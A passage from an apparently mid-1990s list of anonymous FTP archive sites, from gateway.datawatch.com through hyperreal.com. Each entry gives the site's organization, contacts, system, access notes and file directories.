text; UCB; Usenet; Usenix; VMS; X11; X11-contrib + +Site : gateway.datawatch.com +Country: +GMT : +Date : 25-Jan-95 +Source : comp.virus/Virus-L +Alias : +Admin : +Organ : Datawatch +Server : +System : Unix +URL : ftp://gateway.datawatch.com/ +Comment: +Files : CCMac; Homer; NVPUDV; SL; VIREX; virx; vmac + +Site : gauss.technion.ac.il +Country: Israel +GMT : +2 +Date : 14-Dec-94 +Source : old ftp-list +Alias : leeor.technion.ac.il +Admin : nyh@gauss.technion.ac.il +Organ : Technion - Israel Institute of Technology, Haifa, Math & CS dept. +Server : +System : Unix +URL : ftp://gauss.technion.ac.il/ +Comment: telnet to gauss.technion.ac.il 4096 for more info; on the fly + (de)compresion and tarring +Files : calendar; department; eigen; gaps; hebgroff; israeline; kaleido; + Locally written programs; nftp; nyh; pp; techmath + +Site : gboro.rowan.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : cassidy@mars.rowan.edu (Kyle Cassidy) +Alias : +Admin : +Organ : Rowan College, , New Jersey +Server : +System : Unix +URL : ftp://gboro.rowan.edu/ +Comment: +Files : rec.rollercoasters; Saturn Guide (VMS Guide to the Internet) + +Site : gco.apana.org.au +Country: Australia +GMT : +10 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://gco.apana.org.au/ +Comment: +Files : Apana; Astronomy; comms; GCC; graphics; help; kernels + +Site : geko.com.au +Country: Australia +GMT : +10 +Date : 05-Jan-95 +Source : stevew@zonk.geko.com.au (Steve Williams) {posting} +Alias : +Admin : stevew@gco.apana.org.au (Steve Williams) +Organ : +Server : +System : +URL : ftp://geko.com.au/ +Comment: max. 8 external connections during non-peak hours, between 8am + and 10pm weekdays 3 users, no external ftpers during weekends +Files : Astronomy related material: meade (MEADE LX-200 and PICTOR ccd + images and software), ccdst4 (CCD images and programs for the + SBIG ST-4 CCD), photo (Scanned astrophotographs by Steven Williams), + software (MSDOS & Windows astronomy software), viewers (MSDOS & + Windows software to view images) + +Site : genbank.bio.net +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://genbank.bio.net/ +Comment: Problem: I/O error on network device +Files : National Repository for Gene Sequence Data + +Site : geocub.greco-prog.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : Greco +Server : +System : Unix (SunOS 4.1) +URL : ftp://geocub.greco-prog.fr/ +Comment: +Files : Adam; ADA; Amiga; Games; gdr; GNU; graphics; Greco; MEC3.0; Mac; + Maitrise92; MS-DOS; mxgdb; net; pictures; papers; publications; + Scheme; SGI; Sun; TeX; Unix; Vaccins; X11; X11R5 + +Site : geom.umn.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : old ftp-list +Alias : cameron.umn.edu +Admin : ftp@geom.umn.edu +Organ : University of Minnesota, , Minnesota, Geometry Center +Server : +System : Unix +URL : ftp://geom.umn.edu/ +Comment: successor of poincare.geom.umn.edu; send mail to + register@geom.umn.edu to let us know you use the software +Files : Differential Geometry Stuff: Geomview (pub/software/geomview), + Surface Evolver (pub/software/evolver), + SnapPea (pub/software/snappea); docs; images + +Site : george.lbl.gov +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://george.lbl.gov/ +Comment: +Files : BAGigabit; ccs-ecl; Collab; Healthcare; ISS; LBL-UCB; mjj; + Whole Frog + +Site : gewis.win.tue.nl +Country: Netherlands +GMT : +1 +Date : 26-Jan-95 +Source : flufje@wswiop03.win.tue.nl (Remco van Engelen) {posting} +Alias : +Admin : ftp@gewis.win.tue.nl +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, Math & CS dept., GEWIS (students society) +Server : http://gewis.win.tue.nl +System : Unix +URL : ftp://gewis.win.tue.nl/ +Comment: +Files : Mosaic; Netscape; nk-prog; sysmod; vakken (inf, wsk); wiso; wpg; + WWW; xrds + +Site : ghost.dsi.unimi.it +Country: Italy +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Milan, Milan +Server : +System : Unix +URL : ftp://ghost.dsi.unimi.it/ +Comment: max. 20 users +Files : crypt; FAQs; mathematica; misc; music; net-bib; network; news; NeXT; + otter22; schoen; security; tutorial; X11R5 + +Site : gjetost.cs.wisc.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, CS dept. +Server : +System : +URL : ftp://gjetost.cs.wisc.edu/ +Comment: +Files : + +Site : glas.apc.org +Country: Russia +GMT : +2 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : GlasNet +Server : +System : Unix (SunOS 4.1) +URL : ftp://glas.apc.org/ +Comment: +Files : APC; Atari; GlasNet; hohma; IGC; papers; rus2lat; silk; Taylor + +Site : gmuvax2.gmu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : bart.gmu.edu +Admin : +Organ : George Mason University, Fairfax, Virgina +Server : +System : VAX/VMS +URL : ftp://gmuvax2.gmu.edu/ +Comment: Problem: I/O error on network device +Files : Intel Hypercube library; statistical software; XYPLEX; + some winsock apps (Hgopher, winsock in pub/library); + verses (pub/verses); maps (pub/maps); VIVID + +Site : godzilla.cgl.rmit.oz.au +Country: Australia +GMT : +10 +Date : 10-Sep-94 +Source : old ftp-list +Alias : godzilla.cgl.rmit.edu.au +Admin : postmaster@godzilla.cgl.rmit.edu.au +Organ : Royal Melbourne Institute of technology, Melbourne +Server : +System : Unix +URL : ftp://godzilla.cgl.rmit.oz.au/ +Comment: please restrict heavy usage to the hours of 1800-0800 local + (GMT+10); uploads to /incoming, send mail to postmaster or they + are deleted; storage of pornographics or copyright material is + actively prohibited +Files : BRL-CAD (Australian source); nettools (TCP/IP networks); SGI source + for IRIS 4D systems (C-Scheme, chfn/chsh, DIGL, NFF, OFF, TeXSGI) + xdvi + +Site : gogol.cenatls.cena.dgac.fr +Country: France +GMT : +1 +Date : 10-Sep-94 +Source : +Alias : +Admin : courtel@cenatis.cena.dgac.fr +Organ : Centre d'Etudes de la Navigation Aerienne (CENA, Center for Aerial + Navigation Studies), Toulouse +Server : +System : Unix +URL : ftp://gogol.cenatls.cena.dgac.fr/ +Comment: (de)compression, g(un)zipping, tarring on the fly; use: + quote site index to find a filename matching patter +Files : Ada; archiving; docs; Emacs; games; genetic; GNU; graphics; ihm; + languages; Linux; network; neurone; PostScript; qualite; shells; + sound; TeX; thrash; util; X11 + +Site : gold.interlog.com +Country: USA +GMT : +Date : 25-Jan-95 +Source : bawong@interlog.com {posting} +Alias : +Admin : +Organ : Interlog +Server : +System : Unix +URL : ftp://gold.interlog.com/ +Comment: +Files : aquazone; helpstar; ORICAN; prominare + + +Site : gondwana.ecr.mu.oz.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Melbourne University, Melbourne +Server : +System : Unix +URL : ftp://gondwana.ecr.mu.oz.au/ +Comment: loose files in /pub [it's a mess] +Files : Athena; BSD; BSD.pascal; engfac; GIFs; Graphics Gems; Graphics formats; hollasch-4d; + idle; images; jpeg; movies; newell; nff; off; papers; PC; vogl + +Site : goober.phri.nyu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : New York University, New York, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://goober.phri.nyu.edu/ +Comment: +Files : Cnews; NNTP; KCL docs; psnup; sequence analysis stuff + +Site : gopher.ar +Country: Argentina +GMT : -5 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : athea.ar [?] +Admin : +Organ : AR top-level gopher server +Server : gopher +System : Unix (System V Release 4.0) +URL : ftp://gopher.ar/ +Comment: +Files : docs; doswin; Novell; Unix; UUCPmaps; UUnet + +Site : gopher.econ.lsa.umich.edu +Country: USA +GMT : -6 +Date : 29-Oct-94 +Source : crawford@fido.econlab.arizona.edu (David Crawford) +Alias : alfred.econ.lsa.umich.edu +Admin : +Organ : University of Michigan, Ann Arbor, Michigan +Server : www, gopher +System : NeXTStep (NeXT 1.0) +URL : ftp://gopher.econ.lsa.umich.edu/ +Comment: +Files : archive; compress; Dow Jones; Economics of the Internet paper + (/pub/UMWorkingPapers); Nonpar; papers; SILS; UMWorkingpapers; + Zenda + +Site : gopher.emr.ca +Country: Canada +GMT : -5 +Date : 22-Dec-94 +Source : +Alias : emr1.emr.ca +Admin : imb-supp@emr.ca +Organ : Natural Resources Canada (Energy, Mines and Resources Canada and + Forestry Canada), Ottawa, Ontario +Server : gopher +System : Unix +URL : gopher://gopher.emr.ca/ +Comment: transfers are logged; use pub/incoming for uploads +Files : Amiga; ccrs; Cisco; css; docs (net-related, mostly old); elm-docs; + gsc; images; Mac (network PD progs: CU-SeeMe, Mosaic etc.); madhaus; + mets; mirrors [?]; mps; PC (network related PD progs); sounds; Unix; + weather GIFs; wuarchive (seems empty) + +Site : gopher.fagg.uni-lj.si +Country: Slovenia +GMT : +1 +Date : 24-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : audrey.fagg.uni-lj.si +Admin : Ziga.Turk@ikpir.fagg.uni-lj.si +Organ : University of Ljubljana, Ljubljana +Server : gopher://gopher.fagg.uni-lj.si/ http://gopher.fagg.uni-lj.si/ +System : Unix +URL : ftp://gopher.fagg.uni-lj.si/ +Comment: +Files : icaris; mirrors of sites for SHASE (Aminet, Atari, Cello, + ftp.cica.indiana.edu, games, Garbo, gopher, Info-Mac, jpeg, Linux, + Microsoft, MS-DOS, Novell, OS/2, Pegasus, Umich, Unix-C, Win3); + SHASE; warthen; WWW + +Site : gopher.iqm.unicamp.br +Country: Brazil +GMT : -3 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : styx.iqm.unicamp.br +Admin : ftp-bugs@iqm.unicamp.br +Organ : Universidad de Campinas (University of Campinas), Sao Paulo +Server : gopher.iqm.unicamp.br, FSP, http://www.iqm.unicamp.br/iqm.html +System : Unix +URL : ftp://gopher.iqm.unicamp.br/ +Comment: +Files : chemistry; Fortran; html-manuals; IBM-PC; parallel; PG-NET-archives; + Sun-Patches; text-tools; Unix + +Site : gopher.lib.umich.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : asa.ugl.lib.umich.edu +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, Library +Server : gopher.lib.umich.edu +System : Unix +URL : ftp://gopher.lib.umich.edu/ +Comment: fonts; guide; results; texts; tulip +Files : + +Site : gopher.rnp.br +Country: Brazil +GMT : -3 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : rnp6.rnp.br +Admin : +Organ : Rede Nacional de Pesquisa +Server : +System : Unix (SunOS 4.1) +URL : ftp://gopher.rnp.br/ +Comment: +Files : docs; EDUPAGE; netinfo; packages [?]; RNP; systems [?] + +Site : gopher.sabinet.co.za +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : dumpie.sabinet.co.za +Admin : +Organ : South African Bibliographic And Information Network (Sabinet) +Server : gopher.sabinet.co.za +System : Unix (Linux) +URL : ftp://gopher.sabinet.co.za/ +Comment: ftp currently empty, more through gopher [will change] +Files : + +Site : gopher.secyt.gov.ar +Country: Argentina +GMT : -5 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : proteus.secyt.gov.ar +Admin : +Organ : SECYT +Server : gopher +System : Unix +URL : ftp://gopher.secyt.gov.ar/ +Comment: +Files : atentado; docs; RECYT; Stanford; systems [?]; UNLP; vendor [?] + +Site : gopher.uba.ar +Country: Argentina +GMT : -5 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : pucho.uba.ar +Admin : +Organ : Universidad de Buenos Aires (University of Buenos Aires) +Server : gopher +System : Unix (SunOS 4.1) +URL : ftp://gopher.uba.ar/ +Comment: +Files : ftp.list [?]; mail; RFCs; soft [?] + +Site : gopher.uniandes.edu.co +Country: Colombia +GMT : -7 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : cdcnet.uniandes.edu.co +Admin : +Organ : Universidad de los Andes (University of the Andes) +Server : gopher.uniandes.edu.co +System : Unix +URL : ftp://gopher.uniandes.edu.co/ +Comment: +Files : cdrom-ftp; docs; gopher; Internet-info; Mac; MS-DOS; PINE; Unix; + Windows; WindowNT; winsock-apps; WWW + +Site : grasp.insa-lyon.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ftp-france-liste; admin +Alias : +Admin : ftpmaint@grasp.insa-lyon.fr +Organ : INSA Informatique (GRASP), Lyon +Server : ftpmail@grasp.univ-lyon.fr; 'help' in the body. Access to + the local archive: anyone. Access to other archives: European + users only please +System : Unix +URL : ftp://grasp.insa-lyon.fr/ +Comment: Open 24 hours; Accessible through Gopher at gopher.univ-lyon1.fr + port 70; see entry for ftp.univ-lyon1.fr; max. 20 users +Files : FreeBSD (freebsd.cdrom.com mirror); news.answers archive; NetBSD + (sun-lamp.cs.berkeley.edu mirror); RFCs (ftp.internic.net mirror); + UUCP maps; Unix mail & news; Usenet statistics; XFree86 + (xfree86.cdrom.com mirror); All other software NFS mounted from + ftp.univ-lyon1.fr: afuu, GNU, MS-DOS, Unix, Usenet stats, UUmap + +Site : gregorio.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://gregorio.stanford.edu/ +Comment: +Files : IP-multicast; VMTP-IP + +Site : grinch.umiacs.umd.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : +URL : ftp://grinch.umiacs.umd.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : grind.isca.uiowa.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : macpd@icaen.uiowa.edu +Organ : University of Iowa, , Iowa, Iowa Student Computer Association +Server : +System : Unix +URL : ftp://grind.isca.uiowa.edu/ +Comment: also possible: telnet to grind.isca.uiowa.edu, login: iscabbs +Files : MS-DOS; Windows 3.x (mirrors ftp.cica.indiana.edu) + +Site : gs69.sp.cs.cmu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : Netrek FAQ +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://gs69.sp.cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged on; limited + access apparently [needs to be checked] +Files : MUD related files (mirrored on ftp.chemietechnik.uni-dortmund.de): + art of war, borgs, bot busting, client-patches, code, definitions, + dogfighting, enl, frequent-suggestions, game-facts, help-sheet, + hints, hockey, humor, maintainers, nbr, net-behaviour, netrek-faq, + ogging, opening-screen, personae, planet-taking, playing, proverbs, + rsa, server-{list, patches, secrets}, ship-{facts, opinions}, + short-packets, starbases strategy, teamwork, trek, udp, + xtrek-vs-netrek, xtrekrc-{hints, sample} + +Site : gumby.cc.wmich.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (Ultrix 4.1) +URL : ftp://gumby.cc.wmich.edu/ +Comment: +Files : MAINT (VMS); VMS software + +Site : gumby.dsd.trw.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : ley@rz.uni-karlruhe.de (Andreas Ley) {posting}; old ftp-list +Alias : +Admin : +Organ : TRW Inc., Redondo Beach, California +Server : +System : Unix +URL : ftp://gumby.dsd.trw.com/ +Comment: +Files : BSD-net-2; comm; docs; dpi; DU; e-mail; ftp-list (old); GNU; Mac; + moline; MS-DOS; networking; news; sansom; security; Sun-patches; + tienet; TRA; TRW PB; X11R5; X11R6; X11 with OW; X-contrib + +Site : gwen.cs.purdue.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : postmaster@cs.purdue.edu +Organ : Purdue University, West-Lafayette, Indiana, CS dept. +Server : +System : Unix +URL : ftp://gwen.cs.purdue.edu/ +Comment: Open 24 hours +Files : + +Site : h.ece.uiuc.edu +Country: USA +GMT : -8 +Date : 22-Mar-94 +Source : +Alias : cyberdyne.ece.uiuc.edu [?] +Admin : ftpsite@ece.uiuc.edu +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, ECE +Server : +System : Unix +URL : ftp://h.ece.uiuc.edu/ +Comment: +Files : HP UX; IRC; MS-DOS; NetBSD; network; XFree 2.0 + +Site : hagar.ph.utexas.edu +Country: USA +GMT : -7 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, Physics dept. (PH) +Server : +System : Unix +URL : ftp://hagar.ph.utexas.edu/ +Comment: +Files : mdi; meetings; mppl; plplot; pop; sys-back; whois + +Site : hal.gnu.ai.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : mycroft@gnu.ai.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts + AI Lab. +Server : +System : Unix +URL : ftp://hal.gnu.ai.mit.edu/ +Comment: Your UMASK is 000; use the SITE UMASK command to change it; + PLEASE DO NOT PUT X-RATED PICTURES HERE, we have neither the + diskspace nor the bandwidth. They will be removed when found. +Files : + +Site : hamlet.caltech.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : VAX Software List; old ftp-list +Alias : iago.caltech.edu +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : VAX/VMS running Multinet +URL : ftp://hamlet.caltech.edu/ +Comment: default directory: ANON_ROOT:[000000] +Files : announcements; CWIS; Emacs; IJS; KAF; KBY; MINED; Nanny; Nethack; + Rankin; stmail; Surf; tar; vnews; whois (Unix, VMS) + +Site : han.hana.nm.kr +Country: South Korea +GMT : +8 +Date : 15-Dec-94 +Source : posting of yarik@sphs.sph.spb.su (Yaroslaw Mezheritsky) in + comp.mail.uucp +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://han.hana.nm.kr/ +Comment: directory /pub/pc/win3 +Files : alex; archie; ftp.cica.indiana.edu mirror; GNU; hangul; mail; + netinfo; network; PC; security; Sun-patch; X11R5; X11R6 + +Site : handicap.afd.olivetti.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : handicap.shel.isc-br.com +Admin : wtm@bunker.afd.olivetti.com (Bill McGarry) +Organ : Olivetti, Shelton, Connecticutt +Server : +System : Unix +URL : ftp://handicap.afd.olivetti.com/ +Comment: +Files : handicap related software and info + +Site : harbor.ecn.purdue.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list; IRC-faq as posted to news.answers +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, +Server : +System : Unix +URL : ftp://harbor.ecn.purdue.edu/ +Comment: directory: pub/tcl/code +Files : AC Maint; bac; eclipse-GIFs; IRC X11 client; island Motif; kimery; + skunk-works; TCL; tkWWW + +Site : harry.waisman.wisc.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : VAX Software List; old ftp-list +Alias : jevex.waisman.wisc.edu +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, Waisman Centre +Server : +System : VAX/VMS running CMU/VMS-IP +URL : ftp://harry.waisman.wisc.edu/ +Comment: default directory: USER0:[ANONYMOUS] +Files : domain server for CMU/TEK (Bruce Orchard); LZW; VMS software + +Site : harvard.harvard.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://harvard.harvard.edu/ +Comment: Harvard networking info +Files : ddl; host; magtb; mail; nets; networks; Sendmail; VMS + +Site : hathor.eecg.toronto.edu +Country: Canada +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : ftp-admin@eecg.toronto.edu +Organ : University of Toronto, Toronto, Electrical Engineering dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://hathor.eecg.toronto.edu/ +Comment: Problem: can't set guest priviliges; open 24 hours +Files : Technical reports, papers, and locally written software + +Site : havefun.stanford.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : Stanford University, Menlo Park, California, Portable Video + Research Group +Server : +System : Unix (Ultrix 4.1) +URL : ftp://havefun.stanford.edu/ +Comment: JPEG, MPEG, P64 +Files : asynch; cv; IBM; jpeg; mpeg; p64; papers; sbpvq; usc; viterbi + +Site : hcrl.open.ac.uk +Country: UK +GMT : 0 +Date : 19-Feb-95 +Source : ftp.maths.warwick.ac.uk +Alias : watson.open.ac.uk +Admin : HCRL-Operator@open.ac.uk +Organ : Open University, Human Cognition Research Laboratory +Server : +System : Unix (SunOS 4.1) +URL : ftp://hcrl.open.ac.uk/ +Comment: +Files : bugtales; dm863; docs; misc; Psion3; psyche; software (Mac + (Logomedia, Transparent Prolog Machine, Timelines application), + PC (Micro Interpreter for Knowledge Engineering (MIKE)), Qtc) + +Site : helios.tn.cornell.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Cornell University, Ithaca, New York +Server : +System : Unix +URL : ftp://helios.tn.cornell.edu/ +Comment: +Files : + +Site : helix.nih.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : U.S. National Institute of Health +Server : +System : Unix +URL : ftp://helix.nih.gov/ +Comment: +Files : chp; demacs; f2c; infosystems; kermit; lib; lpd; mail; mhservicespa; + moosejaw; ncidata; nihdir; pcoff; printgl; pub: bregman, decio, + fusion, parker_data, pdq, ruy; training + +Site : hercules.stmarys.ca +Country: Canada +GMT : -5 +Date : 29-Nov-4 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : Saint Mary's College, , CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://hercules.stmarys.ca/ +Comment: +Files : eclipse; ECU; Hubble Space Telescope; Shoemaker Levy 9 crash; + tofits; winsock + +Site : herky.cs.uiowa.edu +Country: USA +GMT : -6 +Date : 17-Apr-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Iowa, , Iowa, CS dept. +Server : +System : Unix +URL : ftp://herky.cs.uiowa.edu/ +Comment: some loose files in /pub +Files : alumni; theorem prover; reu + +Site : hmcvax.claremont.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : hmcvax.ac.hmc.edu +Admin : +Organ : Claremont College +Server : +System : VAX/VMS running Multinet +URL : ftp://hmcvax.claremont.edu/ +Comment: default directory: LOCAL:[ANONYMOUS] +Files : cyrillic fonts + +Site : hobbes.lbl.gov +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : +Alias : +Admin : GJWard@lbl.gov +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : +System : Unix +URL : ftp://hobbes.lbl.gov/ +Comment: Radiance program distribution +Files : digest; discuss; doc; generators; iesdata; libraries; Mac; models + objects; patch; pics; ports; programs; test; translators + +Site : hobbes.nmsu.edu +Country: USA +GMT : -7 +Date : 10-Feb-94 +Source : old ftp-list +Alias : hobbes; ftp-os2.nmsu.edu +Admin : +Organ : New Mexico State University, , New Mexico, CS dept. +Server : +System : Unix +URL : ftp://hobbes.nmsu.edu/ +Comment: Most OS/2 files have now been moved to ftp-os2.nmsu.edu and + are being replaced by MultiMedia files +Files : Hobbes OS/2 archive (mirrored around the world); WAV, MID files; + MultiMedia archive + +Site : hobiecat.cs.caltech.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California, CS dept. +Server : +System : Unix +URL : ftp://hobiecat.cs.caltech.edu/ +Comment: +Files : GNU + +Site : holmes.law.cwru.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : nicole@psychology.newcastle.edu.au (Nicole Haywood) {posting} +Alias : +Admin : +Organ : Case Western Reserve University, Cleveland, Ohio +Server : +System : Unix (Linux, PC) +URL : ftp://holmes.law.cwru.edu/ +Comment: +Files : detroit; DougMenu; Linux; soccer; ussoc + +Site : hopi.dtcc.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : +Admin : +Organ : Delaware Technical University, , Delaware, CC +Server : +System : Unix (DG/UX) +URL : ftp://hopi.dtcc.edu/ +Comment: 56K line to the outside, patience is a virtue; all commands are + logged +Files : DG/UX (pico, pine); Interlog (alt.homsexual, soc.motss); medical + (med0494); nerds + +Site : hpcvaaz.cv.hp.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Hewlett-Packard - Oregon, , Oregon +Server : +System : +URL : ftp://hpcvaaz.cv.hp.com/ +Comment: +Files : Motif; archives + +Site : hpcvbbs.cv.hp.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Hewlett-Packard - Oregon, , Oregon +Server : +System : +URL : ftp://hpcvbbs.cv.hp.com/ +Comment: +Files : calculator related files + +Site : hplsci.hpl.hp.com +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Hewlett-Packard +Server : +System : +URL : ftp://hplsci.hpl.hp.com/ +Comment: +Files : + +Site : hpux.ask.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : askdonald.ask.uni-karlsruhe.de +Admin : ftp@hpux.ask.uni-karlsruhe.de +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, + Akademische Software Kooperation (ASK) +Server : +System : Unix +URL : ftp://hpux.ask.uni-karlsruhe.de/ +Comment: +Files : HP UX (mirrored on ftp.tu-chemnitz.de and others, see hpux.cict.fr); + RFCs + +Site : hpux.cict.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : ftp-france-liste; reynes@cict.fr (Jacques Reynes) +Alias : hpftp.cict.fr +Admin : ftp@cict.fr, hpux@cict.fr +Organ : Universite Paul Sabatier (University of Toulouse), Toulouse, + Centre Interuniversitaire de Calcul de Toulouse (CICT) +Server : http://hpux.cict.fr/ +System : Unix +URL : ftp://hpux.cict.fr/ +Comment: read /README and /Conventions for more info; max. 30 users; + transfers are logged; mirrored on ftp.csc.liv.ac.uk, + hpux.ask.uni-karlsruhe.de, ftp.cae.wisc.edu +Files : HPUX related files: HP UX8, HP UX9, Kickstart, Quick & Dirty + Database; PSDoc; RFCs; Textdoc; Troffdoc + +Site : hsdndev.harvard.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://hsdndev.harvard.edu/ +Comment: +Files : banpkt; bmwg; dis_pkt; email; eutil; ipng; Mac; mankin; named; ndtl; + Network_World; NFS; odipkt; pathalias; PCIP; redir; rtests; + secondary; telephone.dir; tenon; text; uumaps + +Site : hub.ucsb.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Santa Barbara, Santa Barbara, California +Server : +System : +URL : ftp://hub.ucsb.edu/ +Comment: +Files : UNISEX + +Site : hubcap.clemson.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : hubcap +Admin : +Organ : Clemson University +Server : +System : Unix (Ultrix 4.1) +URL : ftp://hubcap.clemson.edu/ +Comment: +Files : RFCs + +Site : hugin.syo.lu.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lund University, Lund +Server : +System : KA9Q +URL : ftp://hugin.syo.lu.se/ +Comment: +Files : + +Site : humper.student.princeton.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : noe@fnal.fnal.gov (Bill Noe) {posting} +Alias : +Admin : +Organ : Princeton University, , +Server : WWW +System : Unix (Linux, PC) +URL : ftp://humper.student.princeton.edu/ +Comment: +Files : Pink Floyd + +Site : hurratio.tde.lth.se +Country: Sweden +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lund Institute of Technology, Lund +Server : +System : Unix (SunOS 4.1) +URL : ftp://hurratio.tde.lth.se/ +Comment: Problem: can't set guest privileges +Files : GNU; local elisp stuff + +Site : hydra.uwo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Ontario, London, Ontario +Server : +System : VAX/VMS running Multinet +URL : ftp://hydra.uwo.ca/ +Comment: default directory: PUB:[000000]; note: this archive is maintained + when there's spare time, some of the files maybe old +Files : accounting; applications; balanova5; conv; disk utilities; dpc; ew; + file utilities; graphics; help; ipnet; jnet; libsoft (network info + files); local utilities; macro utilities; mail; micro utilities; + misc; molbio; multinet; net services (archie); news; news utilities; + news; v60; news v61; nucmed; phone; rfc; sugrac; tape utilities; vms + utilities; X; x500 + +Site : hyperreal.com +Country: USA +GMT : -8 +Date : 29-Sep-94 +Source : brian@wired.com (Brian Behlendorf) {posting} +Alias : taz.hyperreal.com +Admin : +Organ : +Server : gopher, www +System : Unix +URL : ftp://hyperreal.com/ +Comment: files from techno.stanford.edu +Files : ambient; csp; cyberia; decnet; digest; drugs; 